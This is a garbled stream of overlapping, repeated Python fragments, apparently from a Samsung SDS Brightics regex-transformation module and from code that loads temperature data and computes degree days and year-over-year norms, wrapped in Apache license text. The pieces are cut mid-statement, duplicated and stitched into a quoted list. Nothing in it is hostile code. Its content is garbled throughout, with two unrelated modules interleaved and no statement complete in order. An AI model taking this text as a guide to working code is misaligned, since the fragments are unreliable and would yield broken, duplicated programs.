\"\"\" from brightics.common.utils import check_required_parameters from brightics.common.exception import BrighticsFunctionException", "regex_format_dict import re def regex(table, **params): check_required_parameters(_regex, params, ['table']) return", "'replace': if find_mode == 'first': return regex_pattern.sub(replacement_string, text, 1) else:", "governing permissions and limitations under the License. \"\"\" from brightics.common.utils", "from .data import regex_format_dict import re def regex(table, **params): check_required_parameters(_regex,", "user_dict is not None: user_patterns = user_dict.values for user_pattern in", "user_pattern_dict = {key: r'|'.join(value) for key, value in user_pattern_dict.items()} if", "for col in input_cols: result_col = table[col].apply(transformation) out_table['regex_' + col]", "== 'all' return regex_pattern.sub(replacement_string, text) elif transformation_mode == 'remove': if", "transformation_mode == 'split' if find_mode == 'first': return regex_pattern.split(text, 1)", "return _regex(table, **params) def _regex(table, input_cols, transformation_mode='extract', find_mode='all', pattern='', user_dict_pattern='',", "user_dict=None): out_table = table.copy() pattern_dict = regex_format_dict.pattern_dict user_pattern_dict = {}", "== 'first': return regex_pattern.sub(replacement_string, text, 1) else: # find_mode ==", "regex_pattern.sub(\"\", text, 1) else: # find_mode == 'all' return regex_pattern.sub(\"\",", "if find_mode == 'first': return regex_pattern.split(text, 1) else: # find_mode", "return regex_pattern.split(text, 1) else: # find_mode == 'all' return regex_pattern.split(text)", "not None: user_patterns = user_dict.values for user_pattern in user_patterns: user_pattern_name", "result.group() else: # find_mode == 'all' return regex_pattern.findall(text) elif transformation_mode", "\" is not a valid pattern name in the user", "License, Version 2.0 (the \"License\"); you may not use this", "out_table = table.copy() pattern_dict = regex_format_dict.pattern_dict user_pattern_dict = {} if", "user_pattern_dict.get(user_pattern_name, []) + [user_pattern_content] user_pattern_dict = {key: r'|'.join(value) for key,", "'split' if find_mode == 'first': return regex_pattern.split(text, 1) else: #", "is not a valid pattern name in the user dictionary.\"}])", "choose a pattern.\"}]) if pattern == 'custom': raw_pattern = custom_pattern", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "for the specific language governing permissions and limitations under the", "See the License for the specific language governing permissions and", "permissions and limitations under the License. \"\"\" from brightics.common.utils import", "a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by", "is not None: user_patterns = user_dict.values for user_pattern in user_patterns:", "['table']) return _regex(table, **params) def _regex(table, input_cols, transformation_mode='extract', find_mode='all', pattern='',", "elif transformation_mode == 'remove': if find_mode == 'first': return regex_pattern.sub(\"\",", "'first': result = regex_pattern.search(text) if result is None: return \"\"", "regex_pattern.search(text) if result is None: return \"\" else: return result.group()", "return regex_pattern.sub(\"\", text) else: # transformation_mode == 'split' if find_mode", "transformation_mode == 'remove': if find_mode == 'first': return regex_pattern.sub(\"\", text,", "License. You may obtain a copy of the License at", "= regex_pattern.search(text) if result is None: return \"\" else: return", "is None: return \"\" else: return result.group() else: # find_mode", "Copyright 2019 Samsung SDS Licensed under the Apache License, Version", "return \"\" else: return result.group() else: # find_mode == 'all'", "def regex(table, **params): check_required_parameters(_regex, params, ['table']) return _regex(table, **params) def", "the License for the specific language governing permissions and limitations", "check_required_parameters(_regex, params, ['table']) return _regex(table, **params) def _regex(table, input_cols, transformation_mode='extract',", "may not use this file except in compliance with the", "pattern='', user_dict_pattern='', custom_pattern='', replacement_string='', user_dict=None): out_table = table.copy() pattern_dict =", "regex_format_dict.pattern_dict user_pattern_dict = {} if user_dict is not None: user_patterns", "if raw_pattern is None: raise BrighticsFunctionException.from_errors( [{'0100': user_dict_pattern + \"", "in writing, software distributed under the License is distributed on", "**params): check_required_parameters(_regex, params, ['table']) return _regex(table, **params) def _regex(table, input_cols,", "required by applicable law or agreed to in writing, software", "implied. See the License for the specific language governing permissions", "else: # find_mode == 'all' return regex_pattern.split(text) for col in", "value in user_pattern_dict.items()} if pattern == '': raise BrighticsFunctionException.from_errors([{'0100': \"Please", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "= regex_format_dict.pattern_dict user_pattern_dict = {} if user_dict is not None:", "'first': return regex_pattern.split(text, 1) else: # find_mode == 'all' return", "an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY", "== 'extract': if find_mode == 'first': result = regex_pattern.search(text) if", "= user_pattern[0] user_pattern_content = user_pattern[1] user_pattern_dict[user_pattern_name] = user_pattern_dict.get(user_pattern_name, []) +", "raise BrighticsFunctionException.from_errors([{'0100': \"Please choose a pattern.\"}]) if pattern == 'custom':", "return regex_pattern.sub(replacement_string, text) elif transformation_mode == 'remove': if find_mode ==", "= user_pattern_dict.get(user_dict_pattern) if raw_pattern is None: raise BrighticsFunctionException.from_errors( [{'0100': user_dict_pattern", "text) else: # transformation_mode == 'split' if find_mode == 'first':", "import BrighticsFunctionException from .data import regex_format_dict import re def regex(table,", "find_mode='all', pattern='', user_dict_pattern='', custom_pattern='', replacement_string='', user_dict=None): out_table = table.copy() pattern_dict", "user_pattern_name = user_pattern[0] user_pattern_content = user_pattern[1] user_pattern_dict[user_pattern_name] = user_pattern_dict.get(user_pattern_name, [])", "col in input_cols: result_col = table[col].apply(transformation) out_table['regex_' + col] =", "None: user_patterns = user_dict.values for user_pattern in user_patterns: user_pattern_name =", "valid pattern name in the user dictionary.\"}]) else: raw_pattern =", "in input_cols: result_col = table[col].apply(transformation) out_table['regex_' + col] = result_col", "table.copy() pattern_dict = regex_format_dict.pattern_dict user_pattern_dict = {} if user_dict is", "if pattern == 'custom': raw_pattern = custom_pattern elif pattern ==" ]
[ "= '24h' else: raise ValueError(\"Invalid `freq` argument value: {}\".format(freq)) if", "norm_start is None: norm_start = in_dataframe.index[0] if norm_end is None:", "e = pd.Series(index=dd.index, dtype='float64')#, dtype='datetime64[ns]') #e[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] # @TCC", "start_year=None, truncate_to_full_day=False): ## Load temperature # temps_fn = \"{}_AT_cleaned.h5\".format(station_callsign) logging.info(\"Using", "curve counts elif mint >= base_temp: dd = avet -", "sine method) degree day generation from temperature data def compute_BMDD_Fs(tmin,", "desired output range start = pd.to_datetime(start) end = pd.to_datetime(end) #", "import pandas as pd import dateutil def tempF2C(x): return (x-32.0)*5.0/9.0", "= norm_ly.copy() else: assert norm.shape[0] == 365*hrs foo = norm.copy()", "is daily!) t = in_dataframe.loc[norm_start:norm_end] else: # resample and interpolate", "dd = grp.agg(lambda x: _compute_daily_BM_DD(np.min(x), np.max(x), None, base_temp)) # dd.columns", "x: np.nan if pd.isnull(x) else x.days) # @TCC previous code", "computing # Step 1: Adjust for observation time; not relevant", "not None: temps_fn = os.path.join(basedir, temps_fn) tempdf = pd.read_hdf(temps_fn, 'table')", "x-pd.Timedelta(days=1) tmp = '{:04d}-{:02d}-{:02d}'.format(x.year, x.month, x.day) tempdf = tempdf.loc[:tmp] if", "= (maxt-mint)/2.0 tmp = (base_temp-avet) / W if tmp <", "pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC this fails if csv contains datetimes with", "(not None), output range does not include `norm_end` (it is", "# Step 2: GDD = 0 if max < base", "# Step 3: Calc mean temp for day; already done", "None: lnorm = foo else: lnorm = lnorm.append(foo) return lnorm.loc[start:end]", "to compute the degree-day values for each a single day.", "in the temperature input (from a daily groupby) # grp", "norm_ly lnorm = None for yr in np.arange(start.year, end.year+1): #print(yr)", "= dateutil.tz.tzoffset(local_time_offset, tmp) tempdf.index = tempdf.index.tz_convert(sitetz) if truncate_to_full_day: x =", "t = pd.read_csv(fn, index_col=0) if local_time_offset is not None: tmp", "else: # resample and interpolate to get hourly t =", "None: tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset,", "tempdf.loc[:tmp] if start_year is not None: tempdf = tempdf.loc['{}-01-01'.format(start_year):] logging.info(\"Temperature", "version norm_ly = norm.copy() if norm.shape[0] == 366*hrs: norm =", "#t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC this fails if csv contains", "or None `None` will use in_dataframe.index[0] norm_end : convertable to", "each day in the temperature input (from tmin and tmax", "'median'} \"\"\" if freq == 'hourly': hrs = 24 hrs_freq", "datetimes with TZ t.index = pd.to_datetime(t.index) try: t.index = t.index.tz_localize('UTC')", "in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if norm_method == 'mean': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).mean().sort_index()", "= '{:04d}-{:02d}-{:02d}'.format(x.year, x.month, x.day) tempdf = tempdf.loc[:tmp] if start_year is", "== 'hourly': hrs = 24 hrs_freq = '1h' elif freq", "= 24 hrs_freq = '1h' elif freq == 'daily': hrs", "which computes BM (single sine method) degree day generation from", "= pd.to_datetime(t.index) try: t.index = t.index.tz_localize('UTC') except TypeError: pass t.index", "compute the degree-days for each day in the temperature input", "time; not relevant # Step 2: GDD = 0 if", "return dd # compute the degree-days for each day in", "pd.concat([tmin,tmax], axis=1) dd.columns = ['tmin', 'tmax'] dd['DD'] = dd.apply(lambda x:", "= grp.agg(lambda x: _compute_daily_BM_DD(np.min(x), np.max(x), None, base_temp)) # dd.columns =", "dtype='datetime64[ns]') #e[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] # @TCC previous code e.loc[~np.isnan(tmp)] =", "= (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else x.days) #dd.loc[np.isnan(tmp), label]", "\"\"\" Parameters ---------- start: convertable to Datetime start range of", "tmp = -1 if tmp > 1: print('WARNING: (base_temp-avet)/W =", "to output norm_start : convertable to Datetime or None `None`", "foo.index = idx if lnorm is None: lnorm = foo", "None, base_temp)) # dd.columns = ['DD'] # Find the point", "compute_year_over_year_norm(in_dataframe, start, end, norm_start=None, norm_end=None, freq='daily', interp_method='linear', norm_method='mean'): \"\"\" Parameters", "# Step 4: min > base; then whole curve counts", "for day; already done previously # Step 4: min >", "_compute_daily_BM_DD(x[0], x[1], (x[0]+x[1])/2.0, base_temp), axis=1) # compute the degree-days for", "norm_start=None, norm_end=None, freq='daily', interp_method='linear', norm_method='mean'): \"\"\" Parameters ---------- start: convertable", "for observation time; not relevant # Step 2: GDD =", "pd.to_datetime([norm_end])[0] - pd.Timedelta('1 second') print('Computing using range:', norm_start, 'to', norm_end)", "mean of Feb 28 and Mar 1 foo = (norm.loc[(2,28,)]", "or hourly (depending on `freq`)! norm_method : {'mean', 'median'} \"\"\"", "x: _compute_daily_BM_DD(x[0], x[1], (x[0]+x[1])/2.0, base_temp), axis=1) # compute the degree-days", "degree-days for each day in the temperature input (from a", "norm_end is None: norm_end = in_dataframe.index[-1] else: norm_end = pd.to_datetime([norm_end])[0]", "day. \"\"\" if avet is None: avet = (mint+maxt)/2.0 #", "dd = ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd # compute the degree-days for", "= int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) tempdf.index = tempdf.index.tz_convert(sitetz) if", "else: raise ValueError(\"Invalid `freq` argument value: {}\".format(freq)) if norm_start is", "fails if csv contains datetimes with TZ t.index = pd.to_datetime(t.index)", "None: norm_start = in_dataframe.index[0] if norm_end is None: norm_end =", "load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False): ## Load temperature # temps_fn", "'table') tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset,", "foo = norm.copy() foo.index = idx if lnorm is None:", "(maxt-mint)/2.0 tmp = (base_temp-avet) / W if tmp < -1:", "end.year+1): #print(yr) idx = pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]), end= '{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq)", "(x[0]+x[1])/2.0, base_temp), axis=1) # compute the degree-days for each day", "24 hrs_freq = '1h' elif freq == 'daily': hrs =", "BM (single sine method) degree day generation from temperature data", "dataframe min values\\n\", dd.min()) return dd def compute_year_over_year_norm(in_dataframe, start, end,", "hrs_freq = '1h' elif freq == 'daily': hrs = 1", "norm_end = in_dataframe.index[-1] else: norm_end = pd.to_datetime([norm_end])[0] - pd.Timedelta('1 second')", "the norm or norm_ly lnorm = None for yr in", ">= base_temp: dd = avet - base_temp # Step 5:", "indexes into end times e = pd.Series(index=dd.index, dtype='float64')#, dtype='datetime64[ns]') #e[~np.isnan(tmp)]", "#print(yr) idx = pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]), end= '{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq) if", "Function which computes BM (single sine method) degree day generation", "`in_dataframe` must already be daily or hourly (depending on `freq`)!", "method) degree day generation from temperature data def compute_BMDD_Fs(tmin, tmax,", "norm.shape[0] == 366*hrs: norm = norm.drop((2,29,)) else: # norm doesn't", "temperatures file '{}'\".format(temps_fn)) if basedir is not None: temps_fn =", "= np.arcsin(tmp) dd = ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd # compute the", "include `norm_end` (it is half-open) `None` will use in_dataframe.index[-1] freq", "= ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd # compute the degree-days for each", "curve minus part below base else: W = (maxt-mint)/2.0 tmp", "['tmin', 'tmax'] dd['DD'] = dd.apply(lambda x: _compute_daily_BM_DD(x[0], x[1], (x[0]+x[1])/2.0, base_temp),", "should be [-1:1]'.format(tmp)) tmp = 1 A = np.arcsin(tmp) dd", "below base else: W = (maxt-mint)/2.0 tmp = (base_temp-avet) /", "by year by appending the norm or norm_ly lnorm =", "pd.isnull(x) else x.days) #dd.loc[np.isnan(tmp), label] = np.nan print(\"DD dataframe min", "TypeError: pass t.index = t.index.tz_convert(sitetz) return t # Function which", "temps_fn) tempdf = pd.read_hdf(temps_fn, 'table') tmp = local_time_offset.split(':') tmp =", "cumulative sums of degree days cross the threshold cDD =", "dateutil.tz.tzoffset(local_time_offset, tmp) tempdf.index = tempdf.index.tz_convert(sitetz) if truncate_to_full_day: x = tempdf.index[-1]", "@TCC previous code dd[label] = (pd.to_datetime(e)-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x)", "---------- start: convertable to Datetime start range of dates to", "norm.copy() foo.index = idx if lnorm is None: lnorm =", "csv contains datetimes with TZ t.index = pd.to_datetime(t.index) try: t.index", "t.index.hour]).mean().sort_index() elif norm_method == 'median': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).median().sort_index()", "= tempdf.loc[:tmp] if start_year is not None: tempdf = tempdf.loc['{}-01-01'.format(start_year):]", "refs) dd = np.nan # value which we're computing #", "threshold cDD = dd['DD'].cumsum(skipna=True) for cumdd_threshold,label in [[1*dd_gen,'F1'], [2*dd_gen,'F2'], [3*dd_gen,'F3']]:", "`None` will use in_dataframe.index[0] norm_end : convertable to Datetime or", "the degree-days for each day in the temperature input (from", "(assumes in_dataframe is daily!) t = in_dataframe.loc[norm_start:norm_end] else: # resample", "Unknown norm_method '{}'\".format(norm_method) # now replicate and trim to the", "# build up a 'long normal' (lnorm) dataframe year by", "start = pd.to_datetime(start) end = pd.to_datetime(end) # need a non-leapyear", "print('WARNING: (base_temp-avet)/W = {} : should be [-1:1]'.format(tmp)) tmp =", "os.path.join(basedir, temps_fn) tempdf = pd.read_hdf(temps_fn, 'table') tmp = local_time_offset.split(':') tmp", "basedir is not None: temps_fn = os.path.join(basedir, temps_fn) tempdf =", "assert False, \"Error: Unknown norm_method '{}'\".format(norm_method) # now replicate and", "def load_temperature_csv(fn, local_time_offset=None): t = pd.read_csv(fn, index_col=0) if local_time_offset is", "logging.info(\"Using saved temperatures file '{}'\".format(temps_fn)) if basedir is not None:", "tmp = '{:04d}-{:02d}-{:02d}'.format(x.year, x.month, x.day) tempdf = tempdf.loc[:tmp] if start_year", "dd # compute the degree-days for each day in the", "== 366*hrs: norm = norm.drop((2,29,)) else: # norm doesn't include", "and interpolate to get hourly t = in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if norm_method", "end= '{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq) if idx.shape[0] == 366*hrs: foo =", "23: x = x-pd.Timedelta(days=1) tmp = '{:04d}-{:02d}-{:02d}'.format(x.year, x.month, x.day) tempdf", "== 365*hrs foo = norm.copy() foo.index = idx if lnorm", "(depending on `freq`)! norm_method : {'mean', 'median'} \"\"\" if freq", "1 hrs_freq = '24h' else: raise ValueError(\"Invalid `freq` argument value:", "yr in np.arange(start.year, end.year+1): #print(yr) idx = pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]), end=", "days cross the threshold cDD = dd['DD'].cumsum(skipna=True) for cumdd_threshold,label in", "compute the degree-day values for each a single day. \"\"\"", "single day. \"\"\" if avet is None: avet = (mint+maxt)/2.0", "Step 4: min > base; then whole curve counts elif", "not include `norm_end` (it is half-open) `None` will use in_dataframe.index[-1]", "the threshold cDD = dd['DD'].cumsum(skipna=True) for cumdd_threshold,label in [[1*dd_gen,'F1'], [2*dd_gen,'F2'],", "-1 if tmp > 1: print('WARNING: (base_temp-avet)/W = {} :", "already done previously # Step 4: min > base; then", "each a single day. \"\"\" if avet is None: avet", "start, end, norm_start=None, norm_end=None, freq='daily', interp_method='linear', norm_method='mean'): \"\"\" Parameters ----------", "as pd import dateutil def tempF2C(x): return (x-32.0)*5.0/9.0 def tempC2F(x):", "second') print('Computing using range:', norm_start, 'to', norm_end) if interp_method is", "[2*dd_gen,'F2'], [3*dd_gen,'F3']]: dtmp = np.zeros(len(dd['DD']))*np.nan tmp = np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float)", "maxt, avet, base_temp): \"\"\"Use standard Baskerville-Ermin (single sine) degree-day method", "hrs_freq = '24h' else: raise ValueError(\"Invalid `freq` argument value: {}\".format(freq))", "day generation from temperature data def compute_BMDD_Fs(tmin, tmax, base_temp, dd_gen):", "local_time_offset is not None: tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60", "= pd.concat([tmin,tmax], axis=1) dd.columns = ['tmin', 'tmax'] dd['DD'] = dd.apply(lambda", "= None for yr in np.arange(start.year, end.year+1): #print(yr) idx =", "= 0 if max < base (curve all below base)", "# need a non-leapyear and leapyear version norm_ly = norm.copy()", "(x-32.0)*5.0/9.0 def tempC2F(x): return (x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None,", "tempdf = tempdf.loc['{}-01-01'.format(start_year):] logging.info(\"Temperature data date range used: {} through", "= in_dataframe.index[-1] else: norm_end = pd.to_datetime([norm_end])[0] - pd.Timedelta('1 second') print('Computing", "end: convertable to Datetime end range of dates to output", "'1h' elif freq == 'daily': hrs = 1 hrs_freq =", "temperature data def compute_BMDD_Fs(tmin, tmax, base_temp, dd_gen): # Used internally", "@TCC this fails if csv contains datetimes with TZ t.index", "daily!) t = in_dataframe.loc[norm_start:norm_end] else: # resample and interpolate to", "(base_temp-avet)/W = {} : should be [-1:1]'.format(tmp)) tmp = 1", "base_temp # Step 5: else use curve minus part below", "#e[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] # @TCC previous code e.loc[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)]", "dd.index[tmp[~np.isnan(tmp)].astype(int)] # @TCC previous code e.loc[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)] =", "each day in the temperature input (from a daily groupby)", "norm_end) if interp_method is None: # skip resample+interpolation (assumes in_dataframe", "tmp > 1: print('WARNING: (base_temp-avet)/W = {} : should be", "t.index.tz_convert(sitetz) return t # Function which computes BM (single sine", "degree-day values for each a single day. \"\"\" if avet", "import logging import numpy as np import pandas as pd", "= dd.apply(lambda x: _compute_daily_BM_DD(x[0], x[1], (x[0]+x[1])/2.0, base_temp), axis=1) # compute", "norm_method='mean'): \"\"\" Parameters ---------- start: convertable to Datetime start range", "for yr in np.arange(start.year, end.year+1): #print(yr) idx = pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]),", "hourly t = in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if norm_method == 'mean': norm =", "\"Error: Unknown norm_method '{}'\".format(norm_method) # now replicate and trim to", "= np.nan dd[label+'_end'] = e # and duration... #dd[label] =", "use curve minus part below base else: W = (maxt-mint)/2.0", "tmp = 1 A = np.arcsin(tmp) dd = ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return", "temps_fn = \"{}_AT_cleaned.h5\".format(station_callsign) logging.info(\"Using saved temperatures file '{}'\".format(temps_fn)) if basedir", "= tempdf.loc['{}-01-01'.format(start_year):] logging.info(\"Temperature data date range used: {} through {}\".format(tempdf.index[0],", "Calc mean temp for day; already done previously # Step", "appending the norm or norm_ly lnorm = None for yr", "or norm_ly lnorm = None for yr in np.arange(start.year, end.year+1):", "= pd.date_range(start='{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[0]), end= '{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq) if idx.shape[0] ==", "in_dataframe.index[-1] else: norm_end = pd.to_datetime([norm_end])[0] - pd.Timedelta('1 second') print('Computing using", "and duration... #dd[label] = (e-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x) else", "the mean of Feb 28 and Mar 1 foo =", "freq='daily', interp_method='linear', norm_method='mean'): \"\"\" Parameters ---------- start: convertable to Datetime", "None: avet = (mint+maxt)/2.0 # simple midpoint (like in the", "day in the temperature input (from a daily groupby) #", "tmp) #t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC this fails if csv", "base; then whole curve counts elif mint >= base_temp: dd", "norm doesn't include any leapyear data assert norm.shape[0] == 365*hrs", "int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) #t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz) # @TCC", "np.nan if pd.isnull(x) else x.days) # @TCC previous code dd[label]", "load_temperature_csv(fn, local_time_offset=None): t = pd.read_csv(fn, index_col=0) if local_time_offset is not", "output range does not include `norm_end` (it is half-open) `None`", "0 # Step 3: Calc mean temp for day; already", "(like in the refs) dd = np.nan # value which", "tempdf.index = tempdf.index.tz_convert(sitetz) if truncate_to_full_day: x = tempdf.index[-1] if x.hour", "1: print('WARNING: (base_temp-avet)/W = {} : should be [-1:1]'.format(tmp)) tmp", "Feb 29 the mean of Feb 28 and Mar 1", "'{}'\".format(temps_fn)) if basedir is not None: temps_fn = os.path.join(basedir, temps_fn)", "numpy as np import pandas as pd import dateutil def", "t.groupby([t.index.month, t.index.day, t.index.hour]).mean().sort_index() elif norm_method == 'median': norm = t.groupby([t.index.month,", "{} : should be [-1:1]'.format(tmp)) tmp = -1 if tmp", ": convertable to Datetime or None `None` will use in_dataframe.index[0]", "be [-1:1]'.format(tmp)) tmp = 1 A = np.arcsin(tmp) dd =", "dd['DD'] = dd.apply(lambda x: _compute_daily_BM_DD(x[0], x[1], (x[0]+x[1])/2.0, base_temp), axis=1) #", "None `None` will use in_dataframe.index[0] norm_end : convertable to Datetime", "= np.nan #dd[label+'_idx'] = tmp # convert those indexes into", "# temps_fn = \"{}_AT_cleaned.h5\".format(station_callsign) logging.info(\"Using saved temperatures file '{}'\".format(temps_fn)) if", "(mint+maxt)/2.0 # simple midpoint (like in the refs) dd =", "= dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)] = np.nan dd[label+'_end'] = e # and", "np.arcsin(tmp) dd = ((W*np.cos(A))-((base_temp-avet)*((np.pi/2.0)-A)))/np.pi return dd # compute the degree-days", "= {} : should be [-1:1]'.format(tmp)) tmp = 1 A", "e.loc[~np.isnan(tmp)] = dd.index[tmp[~np.isnan(tmp)].astype(int)] e.loc[np.isnan(tmp)] = np.nan dd[label+'_end'] = e #", "pandas as pd import dateutil def tempF2C(x): return (x-32.0)*5.0/9.0 def", "norm_start = in_dataframe.index[0] if norm_end is None: norm_end = in_dataframe.index[-1]", "grp.agg(lambda x: _compute_daily_BM_DD(np.min(x), np.max(x), None, base_temp)) # dd.columns = ['DD']", "interpolation, so `in_dataframe` must already be daily or hourly (depending", "> base; then whole curve counts elif mint >= base_temp:", "ValueError(\"Invalid `freq` argument value: {}\".format(freq)) if norm_start is None: norm_start", "None `None` will skip resample and interpolation, so `in_dataframe` must", "def compute_BMDD_Fs(tmin, tmax, base_temp, dd_gen): # Used internally def _compute_daily_BM_DD(mint,", "4: min > base; then whole curve counts elif mint", "= np.searchsorted(cDD, cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float) tmp[tmp>=len(tmp)] = np.nan #dd[label+'_idx'] = tmp", "{} : should be [-1:1]'.format(tmp)) tmp = 1 A =", "the refs) dd = np.nan # value which we're computing", "is not None: tempdf = tempdf.loc['{}-01-01'.format(start_year):] logging.info(\"Temperature data date range", "GDD = 0 if max < base (curve all below", "{:02d}:00:00'.format(yr,*norm.index[0]), end= '{}-{:02d}-{:02d} {:02d}:00:00'.format(yr,*norm.index[-1]), freq=hrs_freq) if idx.shape[0] == 366*hrs: foo", "pd.read_csv(fn, index_col=0) if local_time_offset is not None: tmp = local_time_offset.split(':')", "int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) tempdf.index = tempdf.index.tz_convert(sitetz) if truncate_to_full_day:", "basedir=None, start_year=None, truncate_to_full_day=False): ## Load temperature # temps_fn = \"{}_AT_cleaned.h5\".format(station_callsign)", "dd = avet - base_temp # Step 5: else use", "interpolate to get hourly t = in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if norm_method ==", "idx.shape[0] == 366*hrs: foo = norm_ly.copy() else: assert norm.shape[0] ==", "`norm_end` (it is half-open) `None` will use in_dataframe.index[-1] freq :", "method to compute the degree-day values for each a single", "cDD+(cumdd_threshold)-dd['DD'], side='left').astype(float) tmp[tmp>=len(tmp)] = np.nan #dd[label+'_idx'] = tmp # convert", "= in_dataframe.index[0] if norm_end is None: norm_end = in_dataframe.index[-1] else:", "# skip resample+interpolation (assumes in_dataframe is daily!) t = in_dataframe.loc[norm_start:norm_end]", "`None` will skip resample and interpolation, so `in_dataframe` must already", "norm_method == 'median': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).median().sort_index() else: assert", "interp_method is None: # skip resample+interpolation (assumes in_dataframe is daily!)", "is half-open) `None` will use in_dataframe.index[-1] freq : {'daily', 'hourly'}", "tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz = dateutil.tz.tzoffset(local_time_offset, tmp) #t.index = pd.to_datetime(t.index).tz_localize('UTC').tz_convert(sitetz)", "to output end: convertable to Datetime end range of dates", "not None: tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz =", "np.nan dd[label+'_end'] = e # and duration... #dd[label] = (e-dd.index+pd.Timedelta(days=1)).apply(lambda", "print('Computing using range:', norm_start, 'to', norm_end) if interp_method is None:", "= pd.read_hdf(temps_fn, 'table') tmp = local_time_offset.split(':') tmp = int(tmp[0])*3600+int(tmp[1])*60 sitetz", "get hourly t = in_dataframe.resample(hrs_freq).interpolate(method=interp_method).loc[norm_start:norm_end] if norm_method == 'mean': norm", "tmp < -1: print('WARNING: (base_temp-avet)/W = {} : should be", "start range of dates to output end: convertable to Datetime", "then whole curve counts elif mint >= base_temp: dd =", "of degree days cross the threshold cDD = dd['DD'].cumsum(skipna=True) for", "if norm_end is None: norm_end = in_dataframe.index[-1] else: norm_end =", "x.day) tempdf = tempdf.loc[:tmp] if start_year is not None: tempdf", "does not include `norm_end` (it is half-open) `None` will use", "replicate and trim to the desired output range start =", "base) if maxt < base_temp: dd = 0 # Step", "TZ t.index = pd.to_datetime(t.index) try: t.index = t.index.tz_localize('UTC') except TypeError:", "dd.columns = ['tmin', 'tmax'] dd['DD'] = dd.apply(lambda x: _compute_daily_BM_DD(x[0], x[1],", "if pd.isnull(x) else x.days) #dd.loc[np.isnan(tmp), label] = np.nan print(\"DD dataframe", "Find the point where cumulative sums of degree days cross", "degree days cross the threshold cDD = dd['DD'].cumsum(skipna=True) for cumdd_threshold,label", "1 foo = (norm.loc[(2,28,)] + norm.loc[(3,1,)]) / 2.0 foo.index =", "np.nan print(\"DD dataframe min values\\n\", dd.min()) return dd def compute_year_over_year_norm(in_dataframe,", "norm_method == 'mean': norm = t.groupby([t.index.month, t.index.day, t.index.hour]).mean().sort_index() elif norm_method", "year by appending the norm or norm_ly lnorm = None", "# and duration... #dd[label] = (e-dd.index+pd.Timedelta(days=1)).apply(lambda x: np.nan if pd.isnull(x)", "to Datetime start range of dates to output end: convertable", "def _compute_daily_BM_DD(mint, maxt, avet, base_temp): \"\"\"Use standard Baskerville-Ermin (single sine)", "= dd['DD'].cumsum(skipna=True) for cumdd_threshold,label in [[1*dd_gen,'F1'], [2*dd_gen,'F2'], [3*dd_gen,'F3']]: dtmp =", "must already be daily or hourly (depending on `freq`)! norm_method", "= pd.to_datetime(end) # need a non-leapyear and leapyear version norm_ly", "'long normal' (lnorm) dataframe year by year by appending the", "values\\n\", dd.min()) return dd def compute_year_over_year_norm(in_dataframe, start, end, norm_start=None, norm_end=None,", "if basedir is not None: temps_fn = 